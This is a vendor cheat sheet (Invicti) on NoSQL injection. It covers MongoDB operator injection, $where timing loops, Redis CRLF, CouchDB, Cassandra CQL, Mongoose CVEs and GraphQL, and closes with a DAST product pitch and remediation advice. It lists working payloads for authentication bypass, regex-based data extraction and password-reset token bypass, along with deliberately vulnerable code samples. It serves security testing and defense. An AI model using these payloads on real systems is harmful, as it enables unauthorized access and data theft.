Use the Invicti NoSQL Injection Cheat Sheet to learn about exploiting different variants of the NoSQL injection vulnerability.
‍
Unlike SQL injection, where many SQL payloads are similar or identical across different databases, most NoSQL injection techniques are database-specific. The attack surface depends entirely on the target database, so this cheat sheet is organized around MongoDB – the most widely deployed NoSQL database and the dominant real-world target – with dedicated sections on Redis, CouchDB, Cassandra, the Mongoose ODM library, and GraphQL and API-specific injection contexts.

This cheat sheet is a living document in constant development, and as with any cheat sheet, some examples may not work in every situation, since injection in real environments varies by database version, driver behavior, and application framework.
See also our SQL injection cheat sheet – a similar reference for SQLi, covering MySQL, SQL Server, Oracle, PostgreSQL, and SQLite.
Invicti’s DAST runs four distinct detection engines against MongoDB injection, each targeting a different technique: error-based (identifying MongoDB-specific error signatures), boolean-based (comparing true and false conditions), time-based blind (measuring response delays), and operator injection (testing parameters for $ne, $gt, $regex, and related operators). All four run automatically against form parameters, JSON request bodies, GraphQL parameters, and other modern API surfaces, not just legacy web forms.
Where a vulnerability is confirmed, Invicti’s proof-based scanning generates a proof of exploit rather than a “possible vulnerability” flag, so security teams can prioritize the finding with confidence instead of triaging it as a potential false positive.
Learn how proof-based scanning works and request a demo to see it in action.
NoSQL injection is a class of injection attack targeting databases that use non-relational data stores: document databases like MongoDB, key-value stores like Redis, wide-column stores like Cassandra, and others. Unlike SQL injection, which manipulates a standardized declarative query language (SQL), NoSQL injection exploits the specific query API, operators, and data formats of each database type.
The most commonly exploited NoSQL injection class is MongoDB operator injection: inserting MongoDB query operators such as $ne, $gt, $where, and $regex into application inputs that are forwarded to the database without type validation.
Send these to any input that might reach a NoSQL query, and watch for error messages, changed behavior, or unexpected results:
'
"
\
{
}
[
]
;
$For URL-encoded form parameters:
param[$ne]=xyz
param[$gt]=
param[$regex]=.*For JSON request bodies:
{"param": {"$ne": null}}
{"param": {"$gt": ""}}
{"param": {"$regex": ".*"}}If any of these change the application’s behavior compared to a normal string value, the input is very likely being forwarded into a query without type checking.
Compare the response for a condition that should be true against one that should be false. If the responses differ in content, size, or status code, boolean-based NoSQL injection is confirmed. The exact syntax depends on the database and injection point; the MongoDB-specific patterns are covered in the next section.
MongoDB is the most widely deployed NoSQL database and by far the dominant target for NoSQL injection. Its query language accepts operators as JSON keys, which is what makes operator injection possible: if an application takes a value straight from user input and drops it into a query object without checking that it’s a plain string or number, an attacker can supply an object instead and change what the query does.
URL-encoded form parameters:
username[$ne]=toto&password[$ne]=totoJSON request body:
{"username": {"$ne": null}, "password": {"$ne": null}}If the application runs something like db.users.findOne({ username: username, password: password }) and forwards these values directly, $ne: null matches the first document where the field isn’t null, which is any real user record. This is the NoSQL equivalent of SQL’s ' OR 1=1--.
{"username": {"$gt": ""}, "password": {"$gt": ""}}An empty-string $gt comparison matches any non-empty string, which achieves the same bypass through a different operator.
{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$ne": null}}This tries a short list of likely privileged usernames in a single request.
{"admin_flag": {"$exists": true}}
{"username": {"$nin": ["admin", "guest"]}, "password": {"$ne": null}}$exists confirms whether a field is present on the document at all, useful for probing schema before committing to an authentication-bypass payload. $nin excludes known values and returns the next match, which is handy for discovering additional account names once one is already known.
The $regex operator lets you extract data character by character when the application reflects whether a query matched anything, the same principle as boolean-based blind SQL injection.
{"username": {"$regex": "^a"}}
{"username": {"$regex": "^b"}}{"password": {"$regex": "^.{8}$"}}{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^b"}}Repeat across the alphabet and numerals for each position to reconstruct the full value. This is slow by hand but straightforward to automate.
The $where operator evaluates a JavaScript expression against every document in a collection. If user input reaches a $where clause unsanitized, arbitrary JavaScript execution against the query engine becomes possible.
This is also the operator’s biggest liability, and MongoDB has been moving away from it for years. Server-side JavaScript, including $where, $function, and $accumulator, has been formally deprecated since MongoDB 8.0, and the security.javascriptEnabled setting (still true by default as of mid-2026) can disable it entirely on a given deployment.Â
Treat every $where payload below as something to test for, not something to assume will work: on a growing share of production deployments, either the operator is disabled outright or the application has already migrated to $expr, which does not execute JavaScript and is not vulnerable to this class of injection at all.
{"$where": "1==1"}
{"$where": "this.username == 'admin'"}{"$where": "this.password[0] == 'a'"}
{"$where": "this.password.length == 8"}{"$where": "var d = new Date(); do { var c = new Date(); } while (c - d < 5000); return true;"}A CPU-bound wait loop like this is more portable across MongoDB versions than relying on a sleep() helper, since MongoDB’s server-side JavaScript environment doesn’t expose one by default. Out-of-band exfiltration through $where, sending data to an external HTTP endpoint from inside the JavaScript context, shows up in older writeups and CTF material, but current MongoDB’s server-side JavaScript sandbox doesn’t expose networking primitives like XMLHttpRequest, so treat that variant as a legacy avenue rather than something to test for on a modern deployment.
When the application doesn’t return query results or error messages directly, use timing or content-based comparisons instead.
username[$regex]=admin&password[$ne]=xyz
username[$regex]=doesnotexist99999&password[$ne]=xyz{"$where": "var d = new Date(); do { var c = new Date(); } while (c - d < 5000); return true;"}In some drivers and application layers, a null byte can also truncate a string value before it reaches the query (category=fizzy%00), which may drop conditions that were supposed to follow it. Whether that works depends entirely on the specific driver, language runtime, and MongoDB version, so treat it as a quick test worth trying rather than a technique to rely on.
In PHP, username[]=value creates an array, and PHP’s request-parsing conventions extend this to nested keys: username[$ne]=value is parsed as array('username' => array('$ne' => 'value')). Express.js with the qs query-string parser behaves the same way. This is why the bracket-notation payloads throughout this cheat sheet work directly as URL parameters without needing a raw JSON body:
GET /api/users?username[$ne]=invalid&password[$ne]=invalidIf a custom header is read into a query without type checking, the same operator-injection primitive applies there too:
X-User: {"$ne": null}This is less common than body or parameter injection, since most applications treat headers as plain strings more consistently than they treat body fields, but it’s worth a quick check on any endpoint that trusts a custom header for identity or filtering.
Mongoose is the most widely used MongoDB object data modeling (ODM) library for Node.js. Two vulnerabilities disclosed in its populate() method in late 2024 and early 2025 are directly relevant to NoSQL injection testing, because they show that an ODM layer marketed as a safety net can still pass raw operators through to the database if the application forwards request data into it without an allowlist.
CVE-2024-53900 affects Mongoose versions before 8.8.3 (and the corresponding fixes on the 7.x and 6.x lines, 7.8.3 and 6.13.5). The vulnerability isn’t in MongoDB’s own $where sandbox, which restricts what server-side JavaScript can do – it’s actually in how Mongoose evaluates populate({ match: ... }) conditions.Â
Mongoose uses a third-party library called sift to apply match filters in-process, on the Node.js application server itself, and sift JavaScript evaluation has no equivalent sandbox. If an application forwards an attacker-controlled object into populate({ match: ... }) without validating its shape, a $where value that MongoDB’s own query engine would reject can still reach sift and execute as JavaScript on the application server, not the database:
// Vulnerable application code:
Post.find().populate({ path: 'author', match: req.query.author });The distinction matters for impact: this is remote code execution against the Node.js process itself, not just a database-level injection. Public writeups on this CVE describe crafting a $where value that MongoDB’s engine tolerates without error (so the query still reaches sift) and that then executes as arbitrary code once it does.
CVE-2025-23061 is a bypass of the CVE-2024-53900 patch, affecting Mongoose versions before 8.9.5 (7.8.4 and 6.13.6 on the older lines). The original fix blocked $where at the top level of a match object, but Mongoose only checked the top-level properties of each object in the match array; a $where operator nested inside an $or clause slipped past that check and still reached sift:
{"$or": [{"$where": "<expression>"}]}This was fixed in Mongoose 8.9.5. If your target application is on an older 8.x release than that, or on 7.x before 7.8.4 or 6.x before 6.13.6, both variants are worth testing.
Update to Mongoose 8.9.5 or later, which closes both the original issue and the nested-operator bypass. Beyond patching, don’t forward req.query or req.body objects directly into populate() at all: build the match object field by field from an explicit allowlist of expected scalar values, so there’s no path for an operator key to reach the query regardless of what future bypass surfaces.
Redis is a key-value store whose wire protocol (RESP) is plain, newline-delimited text. Redis injection isn’t about manipulating a query language, as with MongoDB, CQL, or SQL injection, but more about an application building a raw command string by concatenating user input, which lets an attacker terminate one command and start another.
If application code constructs a Redis command by string concatenation and sends it over a raw socket, injecting a carriage return and line feed (\r\n) can, in principle, terminate the intended command and start a new one:
key\r\nSET injected_key "malicious_value"\r\nIn practice, this is rarely a directly reachable web parameter. A more common real-world path is server-side request forgery (SSRF) into an internal Redis instance, using the Gopher protocol to smuggle a raw RESP payload past an application that never intended to expose Redis to the internet at all. If you’re testing an application for Redis injection, check for SSRF-reachable internal services first – that’s usually where the actual exposure lives, not in a form field that talks to Redis directly.
Redis’s EVAL command runs a Lua script server-side, and if an endpoint exposes it (directly or through a management interface that shouldn’t be internet-facing), an attacker with access can read or write arbitrary keys with a command like:
EVAL "return redis.call('GET', KEYS[1])" 1 secret_keyThat’s less an injection technique than a configuration failure: EVAL shouldn’t be reachable by an untrusted caller in the first place, but it’s worth checking for on the same pass as CRLF injection since both stem from Redis being reachable when it shouldn’t be.
CouchDB stores documents as JSON and offers two query surfaces: the Mango query language (JSON-based, similar in spirit to MongoDB’s) and JavaScript-based map/reduce views.
{"selector": {"username": {"$ne": "nobody"}, "password": {"$ne": "invalid"}}}{"selector": {"username": "admin", "password": {"$regex": "^p"}}}The underlying logic is the same as MongoDB operator injection, since Mango deliberately mirrors MongoDB’s query operator syntax.
The clearest real-world example of CouchDB’s data-handling model going wrong isn’t operator injection at all: it’s a parser discrepancy. CVE-2017-12635 exploited the fact that CouchDB’s Erlang-based JSON parser and its JavaScript-based JSON parser handled duplicate roles keys differently. A submitted _users document with two roles keys got validated against the first key but stored using the second, letting a non-admin user grant themselves the _admin role. Chained with CVE-2017-12636, which allowed configuration changes that pointed CouchDB at an arbitrary executable, this became a path from an unauthenticated write to remote code execution. Affected versions were CouchDB before 1.7.0 and 2.x before 2.1.1; both were fixed in 1.7.1 and 2.1.1.
This pair is a good reminder that “NoSQL injection” in practice sometimes means classic operator injection and sometimes a data format mismatch between two parsers that were never supposed to disagree. Both are worth testing for.
Cassandra uses the Cassandra Query Language (CQL), which looks superficially like SQL but is stripped of several features that most SQL-injection technique lists assume exist. CQL has no UNION, no subqueries, and no OR operator, so a query that includes WHERE col1 = 'a' OR col2 = 'b' is simply rejected. There’s also no SLEEP() function, which rules out the classic time-based blind approach.
What actually works against CQL is a much narrower set of techniques.
If an application builds a CQL statement by concatenating a string value into single quotes, closing that quote early and appending a second clause can work, in the same structural sense as classic SQL string-termination injection, but limited by what CQL’s WHERE clause can actually express (a single table, no joins, no subqueries):
' AND col2 = 'valueCQL blocks queries that would require a full cluster scan unless the query explicitly opts in with ALLOW FILTERING. If an application appends user input directly to a query and that input can inject the ALLOW FILTERING keyword, an attacker can force a scan-based query the schema was designed to prevent, which can expose data outside the intended partition-key restriction:
' ALLOW FILTERING --Where the application exposes any query flexibility at all, Cassandra’s own metadata tables are readable the normal way, without needing UNION:
SELECT keyspace_name, table_name FROM system_schema.tables;
SELECT column_name FROM system_schema.columns WHERE table_name = 'users';GraphQL APIs backed by MongoDB are a common modern injection surface because the same operator-injection primitive applies wherever a resolver forwards a variable into a query without checking its type.
query GetUser($username: String!) {
user(username: $username) {
id
email
passwordHash
}
}{"username": {"$ne": null}}If the GraphQL schema declares the variable as String! but the resolver doesn’t enforce that at runtime before passing it to the database driver, a JSON object can slip through despite the type annotation:
// Vulnerable resolver:
const resolver = {
Query: {
user: (_, { username }) => User.findOne({ username })
// An attacker-supplied {"$ne": null} bypasses the intended lookup.
}
};{
__schema {
types {
name
fields {
name
args { name type { name } }
}
}
}
}Introspection isn’t an injection technique per se, but it’s usually the fastest way to enumerate which resolvers and arguments exist before testing each one for operator injection.
Second-order NoSQL injection happens when a payload is stored by the application and later used in a query without sanitization, often in password reset flows, profile updates, or anything that round-trips a value through storage before querying with it again.
POST /auth/reset-password
{
"email": "admin@example.com",
"token": {"$ne": null},
"newPassword": "attacker_password"
}If the token field is handled as a query object rather than a strict string comparison, {"$ne": null} matches any non-null token, bypassing the reset-token check entirely. The vulnerability isn’t in the storage step; it’s in the later query treating a field as trusted just because it round-tripped through the database once already.
strict mode (on by default) helps, but it doesn’t replace input validation at the API boundary; the CVE-2024-53900 and CVE-2025-23061 cases both involved requests reaching the ODM before validation caught them.security.javascriptEnabled: false in MongoDB configuration to remove $where and related operators as an attack surface entirely. Prefer $expr for legitimate field-to-field comparisons in new code, since it doesn’t execute JavaScript at all.populate(), match, or filter helpers. Build the object field by field from an explicit allowlist rather than passing req.body or req.query straight through.Manual NoSQL injection testing is harder to scale than SQL injection testing because payload syntax differs by database, framework, and query context, and there’s no single dialect to master the way there is with SQL. Automated tools can close part of that gap, though how much depends heavily on which database is in play.
For limited manual testing, open-source or community-licensed tools can provide a starting point:
For large-scale or automated testing, commercial dynamic application security testing (DAST) scanners are usually the better option. Vendor DAST coverage for NoSQL injection concentrates on MongoDB, and for good reason: it’s where real-world exploitation and CVE history actually accumulate.Â
Invicti DAST provides four dedicated MongoDB injection engines:
$ne, $gt, $regex, and related operatorsAll four can test automatically against form parameters, JSON request bodies, GraphQL parameters, and other API surfaces. The security checks are optimized to reduce false positives on applications that aren’t actually backed by MongoDB to make sure that findings reflect real MongoDB backends rather than coincidentally matching responses.
For Redis, CouchDB, and Cassandra, the injection surfaces covered earlier in this cheat sheet are narrower and, in Cassandra’s case, largely unprecedented in public CVE or bug bounty data (as confirmed in an evaluation by Invicti researchers). For NoSQL databases other than MongoDB, you will generally need to test manually or with general-purpose tools like NoSQLMap rather than relying on a commercial DAST to cover them the way MongoDB is covered.
Where Invicti confirms a MongoDB injection vulnerability, proof-based scanning generates a proof of exploit rather than a “possible vulnerability” flag, so your team can prioritize the finding with confidence instead of manually reproducing the attack to confirm it’s real.
Learn how Invicti’s proof-based scanning works or request a demo to see automated NoSQL injection detection in action.
‍This content is intended for authorized security testing, research, and defensive validation only.
NoSQL injection is a vulnerability that lets a malicious hacker introduce (inject) undesired code into database queries executed by NoSQL databases such as MongoDB, Cassandra, Neo4j, Redis, and more.
SQL injection exploits a standardized query language using techniques like string termination, union-based queries, and comment injection. NoSQL injection methods are highly product-specific: MongoDB uses JSON-based query operators, Redis uses newline-delimited commands, and Cassandra uses CQL (a SQL-like language without joins, subqueries, or UNION). Because NoSQL databases lack a standardized query language, exploitation techniques have to be adapted per database rather than reused across vendors the way many SQL injection techniques can be.
MongoDB authentication bypass typically uses the $ne operator. In a login flow where the application runs something like db.users.findOne({ username: input_username, password: input_password }), supplying {"$ne": null} as either parameter causes the query to match the first document where that field isn’t null, regardless of the intended credential check. As a URL-encoded parameter: username[$ne]=invalid&password[$ne]=invalid. As a JSON body: {"username": {"$ne": null}, "password": {"$ne": null}}.
The $where operator evaluates a JavaScript expression against every document in a collection. If user input reaches it unsanitized, an attacker can extract data character by character with boolean conditions, or run timing-based blind injection with a wait loop. It used to be MongoDB’s most powerful legacy injection vector, but server-side JavaScript (including $where) has been deprecated as of MongoDB 8.0 and many deployments now disable it outright through javascriptEnabled: false. Treat $where injection as a legacy avenue to check for, not something to assume is available.
Cover JSON request body operator injection (replacing string values with operator objects like {"$ne": null}), URL parameter array injection (param[$ne]=value notation, which PHP and Express.js parse as nested objects), header injection where custom headers reach a query, and GraphQL variable injection where a resolver doesn’t enforce the type its schema declares. Automated API DAST tools test these systematically across every endpoint and encoding variation, which is difficult to match by hand across a large API surface.
Boolean-based blind injection compares responses to a condition that should be true against one that should be false, for example using $regex to test individual characters of a field. Time-based blind injection introduces a delay, for example a $where wait loop in MongoDB, and a significantly slower response confirms the condition was true. Note that some NoSQL databases (notably Cassandra) don’t support timing functions at all, which rules out time-based blind testing there.
Invicti DAST runs four dedicated MongoDB injection engines: error-based, boolean-based, time-based blind, and operator injection. Tests are run automatically across form fields, JSON request bodies, URL parameters, and GraphQL variables. Coverage focuses on MongoDB because that’s where real-world NoSQL injection risk actually concentrates – less popular databases like Redis, CouchDB, and Cassandra have narrower and hard-to-automate injection surfaces and are best tested manually. For confirmed MongoDB findings, Invicti’s proof-based scanning generates a proof of exploit so the finding can be verified without manual reproduction.
